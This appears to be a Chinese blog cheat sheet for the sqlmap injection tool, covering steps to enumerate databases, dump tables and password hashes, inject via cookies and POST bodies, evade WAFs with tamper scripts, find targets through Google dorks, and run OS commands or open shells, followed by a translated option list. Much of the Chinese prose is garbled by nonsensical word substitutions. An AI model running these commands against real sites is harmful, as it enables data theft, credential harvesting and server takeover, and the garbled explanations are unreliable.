Sqlmap总结

 

Sqlmap:

  • 一般注入流程:
  • sqlmap -u “www.ONDragon.com/ONDragon?id=1” –dbs   查看有数据库

    sqlmap -u "www.ONDragon.com/ONDragon?id=1" --current-db 查看当前数据库
    
    sqlmap -u "www.ONDragon.com/ONDragon?id=1" --user       查看数据库用户名
    
    sqlmap -u "www.ONDragon.com/ONDragon?id=1" --current-user  查看当前用户名 
    
    sqlmap -u "www.ONDragon.com/ONDragon?id=1" --is-dba     判断权限
    
    sqlmap -u "www.ONDragon.com/ONDragon?id=1" –privileges  判断权限
    
    sqlmap -u "www.ONDragon.com/ONDragon?id=1" --passwords  枚举密码哈希
    
    sqlmap -u "www.ONDragon.com/ONDragon?id=1" --tables -D database'name    获取数据库的表名
    
    sqlmap -u "www.ONDragon.com/ONDragon?id=1" -D database'name -T table'name --columns   获取数据库对应表的字段
    
    sqlmap -u "www.ONDragon.com/ONDragon?id=1" -D database'name -T table'name -C column'name --dump  获取数据库对应表的字段的值   --dump-all  获取所有内容
    
  • -u (get型注入)

    sqlmap -u “www.ONDragon.com/?ONDragon=1”

  • –data (post型注入)

    sqlmap -u “www.ONDragon.com/ONDragon” –data=”user=admin&pass=pass”
    sqlmap -r requests.txt 读取http包进行机动post注入(也得以进来http头部的肆意地方注入,只要以流地方投入 * 即可)
    sqlmap “www.ONDragon.com” –forms

  • –coockie (cookie注入)

    sqlmap -u “www.ONDragon.com/ONDragon” –cookie=”user=admin&pass=pass” –level 2 (level 大于2就行)

  • –batch
    (自动选择sqlmap默认选项)

  • -p  (参数选择)

    sqlmap -u “www.ONDragon.com” –forms -p admin

1.ACCESS数据库:

sqlmap.py -u “url”
/*-u也常规扫描参数*/

sqlmap.py -u “url” –tables
/*–tables拆数据库表*/

sqlmap.py -u “url” –columns -T
“要拆的表名”/*列有指定表名*/

sqlmap.py -u “url” –dump -T “要拆的表名”-C
“要拆的字段名” /*–dump也拆毁字段名会保存于sqlmap/output目录下*/

2.MYSQL数据库:

sqlmap.py -u “url” /*环视注入点*/

sqlmap.py -u “url” –dbs
/*排有所有数据库*/

sqlmap.py -u “url” –current-db
/*列有时数据库*/

sqlmap.py -u “url” –current-user
/*排有目前用户*/

sqlmap.py -u “url” –tables -D
“当前数量库名” /*拆解当前数库表*/

sqlmap.py -u “url” –columns -T
“要大小便得的表名” -D “当前数量库名” /*拆解指定表字段名*/

sqlmap.py -u “url” –dump -C “字段名” -T
“表名” -D “当前数据库”

3.SQLSERVER数据库:

sqlmap.py -u “url” /*举目四望注入点*/

sqlmap.py -u “url” –dbs
/*排有有数据库*/

sqlmap.py -u “url” –current-db
/*列有当下数据库*/

sqlmap.py -u “url” –current-user
/*排有时用户*/

sqlmap.py -u “url” –tables -D
“当前数码库名” /*拆当前多少库表*/

sqlmap.py -u “url” –columns -T
“要拆得之表名” -D “当前数库名” /*拆指定表字段名*/

sqlmap.py -u “url” –dump -C “字段名” -T
“表名” -D “当前数据库”

SQLSERVER操作和MYSQL是同一的!!!常见的几乎栽数据库!!!

4.COOKIE注入:

sqlmap.py -u
“www.xxx.com/asp或者www.xxx.com/php” –cookie “参数叫而id=1” –level
2/*level为提升权限*/

什么数据库就按照点的数据库加上cookie语句子拆解就尽了

5.POST注入:

抓包保存及SQLMAP目录下.txt的文件然后输入指令sqlmap.py
-r xxx.txt /*xxx.txt为保存包文件之公文称”

sqlmap.py -u “url” –data “POST参数”

6.执行shell命令:

sqlmap.py -u “url” –os-cmd=”net user”
/*执行net user命令*/

sqlmap.py -u “url” –os-shell
/*系相互的shell*/

7.注入HTTP请求 :

sqlmap.py -r xxx.txt –dbs
/*xxx.txt内容为HTTP请求*/

8.绕过WAF的tamper插件使用:

sqlmap.py -u “url” –tamper “xxx.py”

sqlmap.py -u “url” –tamper=”xxx.py”

关于tamper脚本详细说明当本博客中生,链接为:http://www.matsec.cn/?id=5

9.以注入语句插入到指定位置:

sqlmap.py -u
“url(www.xxx.com/id/1*.html)” –dbs

稍网站是用伪静态的页面使用SQLMAP的常备注入是可怜的,所以SQLMAP提供了”*”参数将SQL语句插入指定位置,一般用来伪静态注入。

每当行使HTTP注入时采用-r参数为可以一直当文书中补充加*号

10.延常注入:

sqlmap –dbs -u “url” –delay 0.5
/*延时0.5秒*/

sqlmap –dbs -u “url” –safe-freq
/*请求2次*/

11.应用谷歌语法搜索注入(Google
hack):

sqlmap.py -g “inurl:asp?id=1”
/*””内哉找语法,如:inurl,intitle,site,filetype等等。


Options(选项):

–version 显示程序的版本号并脱离

-h, –help 显示这帮助消息并退出

-v VERBOSE 详细级别:0-6(默认为1)

Target(目标):

以下至少需装中一个抉择,设置目标URL。

-d DIRECT 直接连接至数据库。

-u URL, –url=URL 目标URL。

-l LIST
从Burp或WebScarab代理的日记中剖析目标。

-r REQUESTFILE
从一个文本被载入HTTP请求。

-g GOOGLEDORK 处理Google
dork的结果作靶子URL。

-c CONFIGFILE
从INI配置文件中加载选项。

Request(请求):

这些选择可以就此来指定如何连接到对象URL。

–data=DATA 通过POST发送的数目字符串

–cookie=COOKIE HTTP Cookie头

–cookie-urlencode URL
编码生成的cookie注入

–drop-set-cookie 忽略响应的Set –
Cookie头信息

–user-agent=AGENT 指定 HTTP User –
Agent头

–random-agent 使用随机选定的HTTP User –
Agent头

–referer=REFERER 指定 HTTP
Referer头

–headers=HEADERS
换行分开,加入另外的HTTP头

–auth-type=ATYPE
HTTP身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)

–auth-cred=ACRED
HTTP身份验证凭据(用户称:密码)

–auth-cert=ACERT
HTTP认证证书(key_file,cert_file)

–proxy=PROXY
使用HTTP代理连接到对象URL

–proxy-cred=PCRED
HTTP代理身份验证凭据(用户称:密码)

–ignore-proxy 忽略系统默认的HTTP代理

–delay=DELAY
于每个HTTP请求中的延迟时间,单位吗秒

–timeout=TIMEOUT
等待连接超时的年月(默认为30秒)

–retries=RETRIES
连接超时后又连接的时空(默认3)

–scope=SCOPE
从所提供的代办日志被过滤器目标的正则表达式

–safe-url=SAFURL
在测试过程中时时看的url地址

–safe-freq=SAFREQ
两坏访期间测试请求,给起平安之URL

Optimization(优化):

这些选择可用于优化SqlMap的属性。

-o 被所有优化开关

–predict-output 预测常见的询问输出

–keep-alive 使用持久的HTTP(S)连接

–null-connection
从不曾实际的HTTP响应体中查找页面长度

–threads=THREADS
最要命之HTTP(S)请求并发量(默认为1)

Injection(注入):

这些选择可以为此来指定测试哪些参数,
提供于定义的流payloads和可选篡改脚本。

-p TESTPARAMETER 可测试的参数(S)

–dbms=DBMS 强制后端平的DBMS为此值

–os=OS
强制后端平的DBMS操作系统为者价值

–prefix=PREFIX
注入payload字符串前缀

–suffix=SUFFIX
注入payload字符串后缀

–tamper=TAMPER
使用给定的台本(S)篡改注入数据

Detection(检测):

这些选择可以就此来指定在SQL盲注时如何分析及于HTTP响应页面的情。

–level=LEVEL
执行测试的号(1-5,默认为1)

–risk=RISK
执行测试的风险(0-3,默认为1)

–string=STRING
查询时有效时于页面匹配字符串

–regexp=REGEXP
查询时有效时在页面匹配正则表达式

–text-only 仅根据在文书内容比较网页

Techniques(技巧):

这些选择可用于调整具体的SQL注入测试。

–technique=TECH
SQL注入技术测试(默认BEUST)

–time-sec=TIMESEC
DBMS响应的延迟时间(默认为5秒)

–union-cols=UCOLS
定列范围用于测试UNION查询注入

–union-char=UCHAR
用于暴力猜解列数的字符

Fingerprint(指纹):

-f, –fingerprint
执行检查广的DBMS版本指纹

Enumeration(枚举):

这些选择可以就此来列举后端数据库管理体系的音信、表中的构造与数量。此外,您还足以运行而自己

的SQL语句。

-b, –banner
检索数据库管理体系的标识

–current-user
检索数据库管理网当下用户

–current-db
检索数据库管理网即数据库

–is-dba 检测DBMS当前用户是否DBA

–users 枚举数据库管理网用户

–passwords
枚举数据库管理体系用户密码哈希

–privileges
枚举数据库管理体系用户的权力

–roles 枚举数据库管理网用户之角色

–dbs 枚举数据库管理体系数据库

–tables 枚举的DBMS数据库中的表明

–columns 枚举DBMS数据库表列

–dump
转储数据库管理体系的数据库被的表项

–dump-all
转储所有的DBMS数据库表中的章

–search
搜索列(S),表(S)和/或数据库名称(S)

-D DB 要进行枚举的数量库名

-T TBL 要开展枚举的数目库表

-C COL 要进行枚举的数码库列

-U USER 用来开展枚举的数据库用户

–exclude-sysdbs
枚举表时排除系统数据库

–start=LIMITSTART
第一独查询输出进入检索

–stop=LIMITSTOP
最后查询的出口进入检索

–first=FIRSTCHAR
第一独查询输出字的字符检索

–last=LASTCHAR
最后查询的出口字字符检索

–sql-query=QUERY 要实践之SQL语句

–sql-shell 提示交互式SQL的shell

Brute force(蛮力):

这些选择可以给用来运行蛮力检查。

–common-tables 检查在共同表

–common-columns 检查有共同列

User-defined function
injection(用户从定义函数注入):

这些选择可以据此来创造用户从定义函数。

–udf-inject 注入用户从定义函数

–shared-lib=SHLIB 共享库的本地路径

File system
access(访问文件系统):

这些选择可以为用于访问后端数据库管理网的底部文件系统。

–file-read=RFILE
从后端的数据库管理系统文件系统读取文件

–file-write=WFILE
编辑后端的数据库管理系统文件系统及之本土文件

–file-dest=DFILE
后端平的数据库管理网描绘副文件的绝对路径

Operating system
access(操作系统访问):

这些选择可以用来访问后端数据库管理网的最底层操作系统。

 

–os-cmd=OSCMD 执行操作系统命令

–os-shell 交互式的操作系统的shell

–os-pwn 获取一个OOB
shell,meterpreter或VNC

–os-smbrelay 一键获取一个OOB
shell,meterpreter或VNC

–os-bof 存储过程缓冲区溢起利用

–priv-esc 数据库进程用户权限提升

–msf-path=MSFPATH Metasploit Framework本地的装路径

–tmp-path=TMPPATH
远程临时文件目录的绝对路径

Windows注册表访问:

这些选择可以给用于访问后端数据库管理体系Windows注册表。

–reg-read 读一个Windows注册表项值

–reg-add
写一个Windows注册表项值数据

–reg-del 删除Windows注册表键值

–reg-key=REGKEY Windows注册表键

–reg-value=REGVAL Windows注册表项值

–reg-data=REGDATA
Windows挂号表键值多少

–reg-type=REGTYPE
Windows注册表项值类型

General(一般):

这些选择可以为此来安有些形似的干活参数。

-t TRAFFICFILE
记录有HTTP流量到一个文书文件中

-s SESSIONFILE
保存及回复检索会讲话文件之享有数据

–flush-session
刷新时目标的对话文件

–fresh-queries
忽略在对话文件被蕴藏的询问结果

–eta 显示每个输出的预计达时刻

–update 更新SqlMap

–save file保存选项到INI配置文件

–batch
从不询问用户输入,使用所有默认配置。

Miscellaneous(杂项):

–beep 发现SQL注入时提醒

–check-payload
IDS对流入payloads的检测测试

–cleanup
SqlMap具体的UDF和阐发清理DBMS

–forms 对目标URL的解析及测试形式

–gpage=GOOGLEPAGE
从指定的页码使用谷歌dork结果

–page-rank Google
dork结果显示网页排名(PR)

–parse-errors
从响应页面解析数据库管理体系的左信息

–replicate
复制转储的多寡到一个sqlite3数据库

–tor 使用默认的Tor(Vidalia/ Privoxy/
Polipo)代理地址

–wizard 给初级用户的简要向导界面

相关文章